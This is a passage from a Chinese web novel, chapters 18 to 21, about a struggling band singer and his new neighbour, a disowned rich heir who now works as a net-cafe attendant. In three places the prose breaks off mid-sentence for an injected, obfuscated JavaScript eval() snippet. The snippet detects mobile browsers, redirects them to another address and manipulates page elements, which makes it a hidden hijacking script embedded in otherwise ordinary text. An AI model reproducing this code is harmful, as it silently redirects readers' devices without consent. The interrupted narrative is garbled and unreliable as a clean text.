“不过我晚上得写会儿歌,你要觉得吵……” 肖珩觉得这句话后半句应该是几句礼貌用语。 然而陆延说:“你就忍着。” 两人没再多话。 陆延身上那件衣服也湿了一半,在身上黏得难受,陆延洗完澡之后坐到电脑前,打开编曲软件。 他接的那个编曲还没编完,甲方永远是那句话:感觉已经很接近了!但还是差了那么一点。 这一整天的经历都特别奇幻。 肖珩躺在沙发上。 耳边是一阵熟悉地、磕磕巴巴的琴声,收他一晚两百的那位奸商时不时会跟着哼几句。他居然没觉得吵,本来应该觉得看什么都烦透了才对,但他发现他的心情前所未有的平静。 夜已深。 陆延洗完澡后就穿了件短袖。 肖珩在快要睡着的间隙里,借着房里微弱的光,注意到陆延左手手腕内侧有一个纹身。 黑色的。 星星。 18. 第十八章 陆延左手摁着琴弦,哼了半句,想起来刚才在楼下肖珩状态不太对,而且淋成那样,万一感冒发烧死在他家…… 陆延把吉他放下,从药箱里找出来一根体温计。 结果扭头一看,发现这少爷倒还有点自觉,没睡床。 他家沙发不大,买大了也没地儿放,平时他自己躺上头打瞌睡都嫌憋屈。 肖珩躺得比他更憋屈。 但他可能是太疲惫,偏过头快要睡着了,整张脸埋在臂弯里,半干不干的碎发挡住了他剩下的半张脸,只露出半截下巴,和嘴角刚结痂又裂开的伤口。 “等会儿睡,”陆延伸手想去探他额头,“你自己量下体温。” 肖珩把脸埋得更深,低声道:“别烦。” 这人怎么无论是清醒还是睡着状态。 脾气都那么差??? 陆延直接拿体温计戳他下巴:“起来。” 肖珩半睁开眼。 半梦半醒间,那颗黑色的星星跟他离他很近。 在陆延手腕上。 那是个很特别的纹身,整个被黑色填满。纹身覆在淡青色血管周围,凌厉的角就从这片黑里刺出去。 几个角? 三。 四。 五。 …… 肖珩没数清楚,陆延的手从他面前一晃而过。 陆延强行给他塞完体温计,干脆在他面前盘腿坐下改歌。 陆延拿着笔在纸上写写划划,等时间差不多了,他头也没抬,凭感觉抬手想把体温计从肖珩胳膊底下抽出来。 就在这时候,肖珩搭在沙发边上的手无意识往下垂了一点。 ——陆延直接抓到了他的手。 “……” 窗外雨渐渐止住。 陆延立马松手。 体温计上显示的数字是37.4℃。 有点低烧,也不算太大问题,估计睡一觉早上起来差不多就能好。 只是他们俩这一觉睡得时间有些长。 陆延熬到凌晨三点才等到甲方点头说‘就是这个感觉’,他一边在心里骂这他妈不就是第一版吗,一边打字回复‘亲,你满意就好’,并且干脆利落地收下了尾款。 等他睡醒已经是下午。 陆延起来之后觉得热,习惯性把上衣撩起来准备脱下来,完全忘了他昨天晚上刚捡回来一个人。 他对着两桶泡面,在老坛酸菜和红烧牛肉之间做抉择。 吃哪个? 要不然出去吃? 陆延思考着,摁下边上CD机的开关。 吃什么再说。 先放会儿歌。 强劲的音浪爆炸般地从音响里冲出来,把躺在沙发上、睡得浑身酸痛的肖珩给震醒了。 “操……” 他抬手去按太阳穴,然后目光撞上陆延裸/露在外的脊背。顺着脊背流畅的线条往下,是男人清瘦的腰,骨头凌冽突出,最后那块凹进去一点儿,陷在低腰牛仔裤里。 陆延被这首歌和这声“操”吓了一跳。 然后才慢一拍地想起来,这不到二十平的狭小空间里除了他之外还有另一只生物。 事实上他拿的这张CD是他们乐队自己的,李振憋了一年憋出来首歌,非要加进去,还非要自己唱,除了超强烈的音浪,李振具有独特魅力、低音下不去高音上不来还喜欢跑调的嗓音也十分令人窒息。 但胜在自信,有一种“老子就是歌王”的自信。 陆延立马把歌切了。 肖珩头发杂乱,他撑着坐起来:“你不穿衣服?” 陆延:“……穿。” 肖珩又说:“包饭吗。” 陆延把衣服套回去,随手挑了一桶泡面扔给他:“别嫌这嫌那的,只有这个,没得挑。你吃完就立马退房,赶紧滚。” 肖珩有起床气,刚睡醒那会儿尤其暴躁,但在别人的屋里也不方便发作,他接过那桶泡面,自己缓了会儿:“……你手机,借我用一下。” “你手机呢?” “扔了。” 陆延有点相信他那番601资产论了,他把手机从裤兜里掏出来,直直地朝他砸过去:“密码是六个八,手机都没有,你还剩什么?” 肖珩没说话。 他还剩什么? 肖珩自己也不知道。 歌切到下一首。 是陆延的声音。 激烈的节奏每一下都几乎往人耳膜上砸,然而等陆延的声音出来,那种感觉便从耳膜顺着往下走,仿佛砸在了心坎上: “在空无一人的荒野全世界的灯都已熄灭 深吸一口气 要穿过黑夜 永不停歇 ……” 肖珩拿着手机,半晌才想起来要打电话。 他第一通电话打给的是翟壮志,这傻逼缺脑子,他怕翟壮志到时候要是从别人嘴里听到点消息,肯定得满大街找他。 翟壮志接到陌生电话第一反应是困惑:“你谁啊?打错了吧?” “我,”肖珩说,“你爹。” 翟壮志:“!!!” 陆延不想偷听别人讲电话,但他在浴室里洗漱,隔着扇门还是听得一清二楚。 陆延拧开水龙头,接了一捧水。 这破隔音。 陆延听肖珩简述了自己从家里出来的经过,他讲得轻描淡写,用非常冷漠且烦躁的态度说自己跟肖家没关系了。翟壮志可能感受不到,但陆延昨天晚上见过他在花坛上坐着被雨淋成狗的样子。 翟壮志听完事情经过,立马说:“老大你现在在哪儿呢?我在市区还有套别墅空着,你先上我那儿住?钱你也别担心……” 肖珩一句话把他堵回去了:“你是人还是取款机?” 翟壮志:“……” 肖珩:“用不着。” ? 怎么就用不着。 陆延擦把脸。 都这样了,唯一的资产601还没钥匙,他现在这样估计连开锁的钱都掏不出吧。 等陆延洗完脸,肖珩挂了电话,把手机还给他:“谢谢。” 这少爷虽然有时候脾气过于狗屎,但陆延发现他基本礼仪倒是没什么毛病,从康茹那事以来,光谢谢就说了不少次。 “谢什么,”陆延把泡面拆了,“相聚就是缘分,大家都是朋友。你刚才打了两分钟,按标准收费算吗,到时候和两百一块儿给我。” 肖珩:“……” 等泡面的间隙里。 陆延说:“我等会儿有事,得出去一趟。你什么打算?上601砸门去?” 肖珩简单洗把脸,发现镜子里的人一夜之间变得有点陌生,水沿着脸部轮廓一点点往下滑落,滴在那件穿得不是很适应的T恤衫上。 廉价。 但很干净,有股淡淡的、陌生但不讨厌的味道。 “嗯,”肖珩说,“去砸门。” 陆延跟李振约了今天去防空洞找新人,没工夫管这少爷到底是去砸门还是上路边乞讨。 他只知道大少爷跟他一块儿出的门,然后在七区门口逗留一会儿,最后晃晃悠悠沿着路往右边去了, 飞跃路,三号防空洞。 “弹得不行。” “……” “不行。” “……” “这个人,他学了不到两个月吧?” 陆延蹲在防空洞门口,面前来来往往都是背着吉他的小年轻,除开有支乐队正好在排练,剩下都是来找乐队的“孤儿”。 但他面试面了好几个,都觉得技术不太行。 陆延最后又拖长了音说:“哎这个挺厉害的……一首歌能弹错那么多音,厉害。” 李振长时间的沉默过后就是爆发。 他实在是听不下去了,用胳膊肘怼怼自家乐队主唱:“你自己弹成那副屎样子,你还好意思说人家???” 陆延也只是私底下跟李振吐槽,背着琴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727120|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小年轻们展现完自己糟糕的才艺等反馈的时候,不管弹成什么屎样子,陆延都还是用友善温和的语气鼓励人家。 “我觉得你未来的前途不可限量,只是和我们乐队风格不太相符,不好意思,继续加油。” 边上乐队在翻唱一首英文歌。 陆延说:“那个乐队,以前没见过啊,新组的?” 李振看一眼,没在意:“是吧,我也没见过他们。” 李振说完,等下一个来面试乐队贝斯手的小伙子开始他的表演,他发现边上一直“这个技术不行那个技术不行”的陆延沉默着没说话:“是不是觉得这个还行?” 李振边问边扭头,发现身边的位置空了。 李振再四下看两眼,看到他家主唱不知道什么时候混进了那支新乐队里。 陆延从兜里摸出来一盒烟,递给那乐队的吉他手:“哥们,哪儿人?” 吉他手接过:“我本地的。” 陆延:“弹得不错,练多久了。” 吉他手:“两年多吧,你也是玩乐队的?” 这话点到点子上了。 陆延跟那吉他手一块儿抽烟,拍拍他的肩说:“Vent,听说过没有。” “我们乐队组四年了,才华与实力兼具,我看你技术不错,有没有想法换个乐队?” “……” 李振默默地把头扭回来,不知道现在起装不认识这个人还来不来得及。 最后人当然是没招到,不过那人确实听过他们乐队的歌:“我知道你们!!!魔王乐队!!!你们出食人魔的时候我就在听了!” 算是收获了一个朋友。 回去的路上,陆延又打开兼职网,李振觉得奇怪:“你给谁找呢,你不刚接个编曲的单子。” 给谁? 陆延把页面上的兼职工作信息保存下来,说:“给一个……朋友。” 结果陆延一回楼就看到601的房门开着,他那位‘朋友’正把几样新买的锅碗瓢盆都往屋里搬。 陆延倚在门口看他,发现屋子里该置办的基础生活用品都弄差不多了。可能是经费有限,布置得极其精简,再加上上一任房主特意收拾过房间,整个屋子看起来空得很。 目测这些杂七杂八的东西加起来,花了得有几百块。 陆延挑眉道:“你这门?” 肖珩刚铺完床,看他一眼说:“砸开的。” 先不提撬门的事,陆延又问:“那你钱哪儿来的?” 肖珩:“抢劫去了,就附近那家手机店。” “……” “顺便抢了个手机。”肖珩把手机从裤兜里掏出来。 还真是手机。 虽然款式是去年的旧款。 打折下来不算贵。 陆延压根就没有过这可能会是肖珩自食其力挣到的钱。 这人昨天,不,包括今天早上的那副惨样都在告诉他:不可能。 但陆延实在没想到这位大少爷居然真的在生活的压迫之下跑去抢劫:“你知道抢劫犯法吗,一查你他妈就完了,你抢了人多少钱?你说你抢都抢了,手机也不抢个好点的……” 陆延说到这,看到肖珩笑了。 好像还是头一回见这人笑。 “找到份工作,提前预支的薪水。” 肖珩最后笑着嘲讽他:“你看我,我像傻逼吗?” 陆延反应过来了:“操。” 是。 你不像。 我才是傻逼。 肖珩又从衣服口袋里拿出来盒烟,烟盒底下是两张一百,他把钱递给他:“两百。” 陆延本来就是说着缓和气氛,不用搞得好像真是收留救助一样,没打算真要,但看肖珩这表情,陆延最后还是收下钱:“你真住这了?” 肖珩身上穿着他的衣服。 他身后是空荡的十几平小破出租屋,除此之外什么都没有。陆延看着他从烟盒里抽一根出来,咬着烟“嗯”了一声。 19. 第十九章 离“五一劳动节”过去快大半个月,一场暴雨过后,陆延对门搬进来一位他从这场雨里捡回来的奇怪住户。 姓肖名珩,狗脾气,大少爷。 职业,不明。 “延,我连着几天早上刷牙的时候看到有钱少爷从楼里出来了。” 周末,伟哥来串门的时候说:“你俩同居了?” “……” 陆延正在刷牙,差点没把漱口水喝下去。 “你想什么?他住我对门!”陆延喊。 伟哥:“?!!” 陆延简单把事情讲一遍。 伟哥听一圈下来听明白了:“他现在就住601那屋?” 客厅电视开着,频道是地方新闻台,等背景音放完,穿着正装的女主持人出现在电视画面上,字正腔圆眼睛也不眨地说:“观众朋友们大家好,播下面报一则紧急新闻,近日,有一名高度危险分子在我市流窜——” 陆延洗漱完看一眼:“什么危险分子?” 伟哥说:“诈骗犯。” 陆延没当回事,在这种出门左拐走两步就能遇到一个刀疤的地方,诈骗犯并不稀奇。 等他吃完饭,发现伟哥还杵着不走:“哥,你说吧,你有什么事求我。” “你滚蛋,你以为我是你啊,”伟哥说,“就是周末无聊……问问你网吧去不去?” 男人之间的娱乐活动无非就那么几种。 喝酒,打游戏。 陆延这天没什么安排,于是说:“行啊。” 已经进入夏天,外头太阳晒得很。 七区附近,或者说整个下城区的网吧都很有特色,毫不掩饰甚至大张旗鼓地展现自己是一家非法网吧,离七区最近的那家干脆直接叫“黑网吧”。 迷离梦幻的灯牌,上头闪着黑网吧三个字,门口挂着黑帘。 由于上网不需要身份证,网吧里鱼龙混杂,什么样的人都有。 陆延走到网吧门口,拉开黑帘子,弯腰进去。 “杀杀杀!” “等会儿,我有个大招。” “干他!干他!” “……” 一片嘈杂。 帘子里边就是收银台,网管的脸被电脑屏幕挡着,只露出半个头顶和一只搭在鼠标上的手,靠近之后陆延还闻到一股烟味。 “网管,两台机子,开俩十块钱的,”陆延放下帘子,低头掏零钱,摸半天才从兜里摸出来两张十块。 那只手漫不经心地带着鼠标动了动。 点完两下鼠标之后,是一个男人的声音。 男人嘴里似乎是咬着烟,散漫地“嗯”一声。 然后那只手伸出来,收走了钱。 男人又报出两个数字:“16,17。” 有点耳熟。 陆延来不及想,伟哥就勾着他往里头走了。 陆延开了一局游戏才发现这家网吧里男女比例不太对劲。 女生占多数。 而且不看视频也不打游戏,有事没事就喊网管。 “网管,我这个为什么打不开啊。” “网管,我电脑黑屏了。” “网管……” 网管网管网管。 喊了一会儿之后,那网管才极其不耐烦地从座位上站起来。 男人打扮很随意,脚上踩着超市里卖十块钱一双的塑料拖鞋。他嘴里叼着烟,从晚上值班到现在没什么精神,半眯着眼,恹恹地说:“别吵。” 这回不仅是耳熟那么简单。 多熟悉且牛逼的语气。 陆延操纵角色找棵树做掩体,在蹲人的间隙里抬眼看过去—— …… 伟哥喊:“那队人出来了,快开枪啊!” 陆延回神,一枪射偏。 大局已定,伟哥哀嚎:“你水了五枪!刚才差点就赢了!” 陆延没回话。 他把耳机摘了,靠着椅背看肖珩坐在他对面边抽烟边给神情激动的小女生弄电脑。 他怎么也没想到肖珩找的工作是网管。 比起激动的女生,肖珩的状态可以说是毫无波澜,他用一种“别烦老子”的态度在键盘上敲了一阵,弄完之后起身。 椅子往后退,在地上擦出一道声音。 然后肖珩咬着烟,起身的时候也看到了对面的人。 “……” 两分钟后,肖珩坐在陆延边上空出来的位置上。 “你怎么找这工作?”陆延问。 “我没带身份证。”肖珩回。 肖珩又烦躁地说:“补了,一时半会儿还下不来。” 这人出来的时候还真是把什么都扔了。 扔得彻底。 “你这可以啊,要是有人来查,警察会发现不光来上网的没有身份证,连网管也没有。” 陆延边打游戏边开他几句玩笑,平时跟他对着呛的人却没有反应。 等陆延打完手头上那局,偏过头,发现肖珩阖上眼睡着了。 网管这工作不好干,轮到夜班得整宿熬着,肖珩这应该已经熬了几晚。 肖珩就趴在他手边。 陆延的手稍微动一动,就能碰到肖珩的头发。 扎得慌,跟他那臭脾气一样硬。 伟哥这时候才摘了耳机凑过来,指指肖珩,小声问:“咋回事?” 陆延说:“没事,接着打吧。” 不过陆延后半场明显不在状态,枪法水得可以。他边打边留意门口的黑帘子,打到第三把的时候,黑帘子动了动,有人掀开帘子进来。 陆延直接拍肖珩的脑袋,叫他:“网管,上机。” 肖珩睁开眼,发现自己睡了有半个多小时。 两小时后,陆延下机。 他经过前台的时候停下来,屈指敲敲桌面,打招呼道:“走了。” 肖珩坐在电脑后头看不到脸,手搭在鼠标上没动,跟陆延来时一个样。 “这年头富二代都那么能吃苦耐劳的吗?”回去的路上,伟哥啧啧称奇,“我们是穷惯了,无所谓,有钱少爷不一样……” 陆延也感到意外。 在今天之前,他一直以为这个“新邻居”坚持不了多久就会回家找爹妈。 在前不久,肖珩还是辆牛逼轰轰的豪华改装车车主,刷一百二十万不眨眼。 …… 伟哥感慨完又问:“晚上喝酒不,走一个?” 陆延:“又喝?” - 晚八点。 天台。 陆延提前上去把桌子支起来。 伟哥不光扛着半箱酒,还带了一袋花生,身后跟着刚从影视基地回来的张小辉:“我跟你们说,我前几天开着摩托,从城南一路追到城北,那孙子一个劲地跑……” 陆延一条腿曲起,踩在椅子边上,剥着花生说:“哥,你考不考虑在你那车上装个音响?边追人边放歌,多牛逼。” 伟哥一听就觉得不对:“你别以为我不知道你打的什么主意。” 果不其然,陆延剥开花生之后说:“到时候我给你拷几首我们乐队的歌,顺道帮我们宣传宣传。” 伟哥惊叹。 这是个什么样的奇才啊。 伟哥作为曾经的妇女联合委 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727121|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员会一员,一直有颗想要团结邻里关系的柔软内心,喝到一半让陆延下去问问新邻居要不要上来一块儿喝酒。 “有钱少爷下班没?问问人家,新来的邻居,我们应该给予关怀,认识认识,”伟哥道,“也就是现在咱小区没落了,这要是搁以前,肯定得开个迎新会。” “行行行,关怀。我下去问问。” 陆延把花生米往嘴里扔,起身往楼下走。 肖珩刚从网吧回来没多久,刚洗完澡。 开门的时候头发还往下滴着水,惜字如金:“说。” 陆延摸摸鼻子:“我们在喝酒,你上来一块儿喝点吗?” 大概是“喝酒”这两个字吸引了他,虽然基本住宿和工作暂时解决了,但肖珩的心情估计好不到哪儿去,他问:“哪儿?” 陆延说:“天台。” 两人一前一后往天台上走。 陆延随口介绍道:“你平时要是晒什么东西可以拿上来晒,那儿,把那几根架子支起来就行。” 陆延说的“架子”就是几根破竹竿,被铁丝绑成带长着四只脚的长条架。 肖珩在他身后,头一次见这么简陋的晾衣环境。 “立得住?” “这得看天气,没风就能立住。” “……” 伟哥见他们俩上来了,冲他们招招手。 陆延把人带上来,坐下之后说:“怎么着,自我介绍一下?” “姓张名小辉,未来的知名男演员,目前还没有任何代表作,你要是想看我演的电视剧,可以去看《龙门刺客》第五集,在十三分二十六秒暂停,蒙着面的五十个刺客其中一个就是我。” 张小辉简短介绍完自己之后向肖珩伸手:“你好。” 肖珩:“……” 陆延看到肖珩的表情明显不太自然。 轮到伟哥,伟哥笑笑:“你跟延延一块儿叫我伟哥就行,我干借贷的,平时就是出去讨讨债。” 讨债这个词听着比较敏感。 而且伟哥这个人看起来压根不像个好人,浑身肌肉,看着像走在街头身后跟一群小弟的那种。 伟哥作为之前康茹事件的知情人士,抑扬顿挫道:“但我不是那种没有原则没有道德没有底线的高利贷!我干的是合法生意,我们公司严格按照国家的规章制度办事,你可千万不要误会!” “……” 这下肖珩连表情都没了。 陆延坐在边上单手勾着易拉罐拉环,开了一罐啤酒,越听越想掩面:“你俩别说话了。” 再说下去怕是会让人觉得这栋楼里没个正常人。 肖珩确实觉得这栋楼里的人都不太正常。 他边上,琴技离奇的乐队主唱。 他对面两个人,一个跑龙套,另一个讨债。 “到你了延延。”伟哥说。 陆延:“我就不用了吧?” 陆延这个人的特点就是底线随时都能往下调整。 刚还觉得张小辉他们尴尬,再抬头的时候俨然已经没了心理负担,他把边上另一罐啤酒推过去:“我陆延,知名乐队主唱,下城区之光,音乐鬼才。认识我是你的荣幸。” 半晌,肖珩接过那罐啤酒,看着他说:“肖珩,王行珩。” 很精简的介绍。 陆延对上肖珩的眼睛,无端端地感觉他这番自我介绍说不出的正式。 有一种……“重新认识”的感觉。 他也说不上来。 像一把利刃。 把现在坐在他边上喝酒的这个人,和他之前遇到的那个开改装车的肖珩给彻底分离开了。 20. 第二十章 陆延举着啤酒罐说:“欢迎肖珩同志加入我们六号三单元的大家庭,俗话说得好——” 张小辉下意识接:“远亲不如近邻?” 然而陆延总是让人意想不到:“多一个朋友,多一条财路。” 陆延说着,勾着啤酒罐去碰肖珩手里的那个,两罐子碰在一起发出‘砰’地一声。 接着陆延又说:“网管,去网吧提你名字给不给打折?” 肖珩熬夜熬过头了,碰到酒之后反而精神起来,他说:“打。” “能打几折。” “能把你腿打折。” “……” 陆延把手上刚喝完的啤酒罐慢慢捏瘪了,然后冲肖珩比个中指:“操。” 肖珩也不紧不慢地回了个中指。 两个人看起来像在比谁手指更长似的。 “你们俩幼不幼稚?”围观人士伟哥说。 聊着聊着就开始拼酒。 张小辉第一个阵亡,罐数:2。 陆延眼睁睁看着张小辉趴桌上不省人事,感慨道:“我就喜欢跟小辉一起喝酒,跟他喝酒就是省钱。” 至于边上这个人就没那么省钱了。 肖珩看着不动声色,但一罐接着一罐,手里的酒就没断过。 伟哥醉醺醺地把手搭在肖珩肩上叫他“老弟”:“老弟啊,人生总有失意的时候,想当年,哥才十八岁,励志考警校……” 但伟哥没说几句话,便没了声响,跟张小辉趴一块儿去了。 剩下陆延和肖珩两个人接着拼。 最后因为啤酒告罄,两个人打了个平局。 陆延仰头灌下最后一口酒,肖珩也正好松开手里的空罐子。 他们周遭是十几个空酒瓶。 过了一会儿,陆延把伟哥他们拍醒,收拾好东西,看到肖珩正倚在天台边上那堵矮墙边上。 陆延走过去问:“看什么呢。” 肖珩在看这个小区。 从天台上往下望,整个七区一览无余。 天色昏暗。 废墟被镀上一层灰。 “你们这什么时候拆的?” “两个月前吧,”陆延说,“说要拆了建工厂,就剩我们这栋楼了。原来小区里很热闹,楼下还有卖早餐的乱吆喝,现在你想吃早饭只能走到六区去。” 肖珩第一次那么认真地观察这个“第七小区”。 他不知道自己看着这些应该是什么心情,完全换到另外一个环境中去,周遭的一切对他来说都隐隐有种不真实感。 这个环境甚至是糟糕的。 酒意不断往上泛。 陆延从身后拍了拍他的肩,打断他的思路:“抬头。” 肖珩抬起头,发现头顶上是一望无垠的星夜,这是平时在市区里看不到的景色,壮阔得像一场幻觉。 “下城区虽然是破了点,也不是一点优点都没有,”陆延把手搭在他肩上,跟他一起仰头看星星,嘴里的话却越说越煞风景,“你看,你要是去市里,没有身份证哪儿找得到工作,也就我们这非法产业链比较发达,别说你是身份证丢了,就算你是黑户也不怕……” 黑网吧网管肖珩:“……” - 陆延之后又去了几次黑网吧。 他新接了个编曲的活,然而家里那台劳作三年多的破电脑最近开始闹着要下岗,具体表现为他刚编辑完的歌保存到一半整个闪退闪出去,再不然就是自动关机。 甲方:我这急用,一周内能交吗。 陆延只能揣上写好的谱子和钥匙跑出去干活。 每次去之前陆延都会出于礼貌,问问某位值夜班的网管需不需要带点什么东西。 然而去的次数多了之后,不需要他问,肖珩的消息就自己发过来了: 带份盒饭。 [陆延]:? [肖珩]:加份汤。 肖珩这两句语气过于理所当然。 [陆延]:我说我要去了? [陆延]:老父亲慈爱的耳光你吃不吃? [肖珩]:你今天不来? [肖珩]:哦[/表情]。 可能是熟悉了些,肖珩发微聊消息的时候也会发几个时下流行表情包。 陆延对着手机屏幕上那个“缓缓离世”的熊猫人看了几眼。 卖惨可耻。 “上机。” 十分钟后,陆延拎着饭掀开黑帘子进去。 坐在电脑后面的人伸手,问他:“我饭呢。” 陆延把饭放桌上:“我成送餐员了?” 肖珩接过。 饭点来上网的人不多,陆延戴着耳机,开始调音轨。 肖珩三两下吃完饭过后又坐到他边上补觉,他一只手撑在桌面上,支起上半身凑近他,摘了他的一边耳机说:“有人来了叫我。” 陆延觉得很有意思:“到底谁是网管?” 肖珩已经趴下了,闭上眼说:“给你打折。” “……滚。” 他们俩坐在正对着黑帘子的角落里,陆延左手边是个烟灰缸,里面的烟灰没清理,空气里隐隐有股烟味。 肖珩今天运气好,整整一个小时里都没来人。 他睡醒,睁开眼,陆延还在反复修音。 陆延搭在桌上的几根手指不时的跟着耳机里的节奏一起动。他手指很长,今天耳朵上挂了三个耳环,胸前也挂着条银质项链,肖珩仔细辨认,发现是吊坠是条吐着信子的蛇。 陆延这个人坐在那儿,只要不开口说话,任谁看了都以为这是个狠角色。 要想列相关词条,估计还能列出来如下几条: 道上混的。 不好惹。 …… 肖珩觉得自己应该是没睡醒,什么狠角色,坐在他身边写歌的就是个打架只知道跑的狗逼。 肖珩趴在边上看他操作编曲软件看了一会儿,想抽根烟清醒一下,结果烟刚点上,他眼睁睁看着狠角色陆延的软件崩了。 陆延:“……” ??? “你们网吧这什么破电脑!” 陆延连着两次在马上做完的时候崩软件,心态也直接崩了。 肖珩咬着烟说:“让开。” 肖珩说着,身体微微前倾,伸手去够陆延面前的键盘。 陆延手还没来得及缩回去,一直搭在鼠标上,还被肖珩的手臂压着:“等会儿,你会弄?你一个跨专业上岗还没有身份证的网管……”这少爷学的专业明明是经济系,将来要继承家业的那种,会个什么啊。 虽然这个姿势敲键盘不太方便,但肖珩手速依然很快。 肖珩那双手即使不戴高价手表,手上什么修饰也没有,仍带着一种与生俱来的矜贵,还有一种不管干什么都有种从骨子里透出来的散漫—— 屏幕上弹出来一个程序框。 框里是一些陆延完全看不懂的东西,什么1什么0,满屏幕跟乱码似的。 肖珩低垂着眼,嘴里是一截烟。 陆延总觉得的这人平时无论干什么都没表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727122|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,但是敲键盘的时候不太一样。 具体哪里不一样…… 肖珩敲了一阵,吐出口烟,打断他的思路,对陆延说:“鼠标。” 陆延拖着鼠标的手艰难地动了动。 “点运行。” 陆延点上去。 乱码框消失。 电脑回归平静。 陆延拷在U盘里带过来的那个编曲软件还是那个编曲软件。 肖珩松开手,又坐回原来的位置。 这么一通看上去还挺牛逼的操作…… 陆延侧头看他:“我的歌找回来了?” 肖珩说:“没有。” “!” “你重写吧。” 肖珩说完这句,瞧见黑帘子有动静,有人来上机了。他又抖抖烟灰,不紧不慢地往前台走。 那你那么半天敲什么呢???! 一通操作看着还挺牛逼。 您就为了听个响? 听听青轴清脆的声音? 陆延忍住想给人逮回来揍一顿的心情,打开编曲软件重新写。 网管肖珩坐回前台。 进来的是逃课出来上网的几个高中男生:“网管,上机,三个人,有连在一起的位置不,我们要开黑。” 陆延听到肖珩不冷不热的声音说:“有。” 高中生有自己的顾虑,压低声音问:“你们网吧安全吗,不会被抓吧。” 肖珩:“没身份证?” 高中生点点头。 “安全。” 肖珩收了钱,说出一句令人信服的话来:“我也没身份证。” “……” 陆延听不下去,他戴上耳机接着调音。 他没发现五分钟后,编曲软件左上角自动弹出来几个字:自动保存。 那行字毫不起眼,出现两秒便消失。 然后等到下一个五分钟,才会再出现一次。 …… 所幸软件没再崩。 两小时后,陆延把顺利音频传给甲方。 甲方听过之后觉得没有问题,转账收钱,一套流程走完,交易结束。 陆延摘下耳机,收完钱之后习惯性去数余额,加上之前那个甲方给的,余额已经有快两千。 “来瓶水……我弄完了,你什么时候下班。”陆延快下机前去前台买水。 肖珩把水扔给他。 “四点。” 四点,那就还有十分钟。 反正时间也差不多,陆延拧开水说:“那行,一块走?” 肖珩:“谁跟你一块走。” 陆延早就习惯肖珩的说话方式。 他拎着水走回去,整个人躺进电竞椅里,等肖珩换班。 他边上那个人电脑屏幕上居然在放新闻视频。 陆延听不到声音,只能看清字幕。 熟悉的地方台女主持人带着一成不变的表情说:“……近日,我们接到热心市民举报,发现危险分子王某的行踪,初步确定王某往下城区方向逃窜。” “根据‘好又多’杂货店提供的监控视频,视频里的黑衣男子疑似嫌疑人王某,王某在杂货店内购买了两瓶橙汁,这一举动不知有何意义,望市民高度警惕,出行注意个人财产和人生安全,千万不要喝陌生人给的橙汁。” 下城区? 好又多? 这杂货店不就在七区附近么。 陆延正想着,肖珩已经换完班,掀开帘子站在门口不太耐烦地问他:“走不走。” 21. 第二十一章 “走。” 陆延没再继续看那个逃犯买橙汁的新闻,直接下机。 两人走出去一段路。 陆延还是忍不住吐槽:“你那网吧电脑太他妈破了。” 肖珩表示赞同:“一晚上能死十台。” 陆延:“有考虑过更新设备,提高网民游戏体验吗?” 肖珩:“我是老板?” 黑网吧离七区不过隔了三条街,七区被拆之后这边也受到不少影响,不少饭馆选择关门。本来就不算繁华的地方,现在看起来更显萧条。 随处可见的污水坑,以及溢出的垃圾。 陆延早已经习惯七区这种环境,四年前他背着琴走下火车,就是在这吃的第一顿饭。 有阵子没来,那家店还开着。 陆延很少会去想四年前的事了。 他没再想下去,习惯性地把思路断在这。 肖珩聊着聊着发现边上这人脚步慢下来:“走那么慢……” 他话说一半,发现陆延在看一家面馆。 “你想吃?” “吃,”陆延回过神说,“给你带那么多天饭,做人要有点良心,这顿你请。” 陆延推门进去。 面馆店面很小,只摆得下四个桌位,菜单上种类也不多。 店主约莫六十岁左右,大家都叫她李阿婆。 李阿婆刚收拾好一桌,拿着抹布用陆延其实并不听得太懂的地方口音招呼道:“来啦。” 陆延说:“来了。” 李阿婆认识他:“还是老样子哦?一碗炒面?” “两碗,”陆延帮忙把刚擦好的桌椅推进去,“……带了个朋友。” 陆延说完,‘朋友’才推门进来。 陆延指着肖珩对李阿婆说:“他付钱。” 肖珩站在门口,觉得好笑:“……我同意了?” 肖珩虽然在附近上班,也没什么机会出来吃,网吧里走不开,只能吃外卖。 他听到李阿婆跟陆延闲聊:“小伙子,好长时间没见了,还在练琴不啦?” 陆延说:“练的。” “哦哟,”李阿婆笑笑,“蛮好的。” 这份炒面没什么特别的,卖相普通,面上头摆了两根菜,几块肉。 然而肖珩拿个筷子的功夫,他那碗面上的肉少了一半,对面陆延碗里那份肉多得把底下的面都盖住了。 “你是狗?” 肖珩又说:“你要脸吗。” 陆延不要脸也不是头一天,他拦下肖珩伸过来的筷子:“你好好吃饭,别对我的面动手动筷的。” 肖珩会听他的就有鬼了。 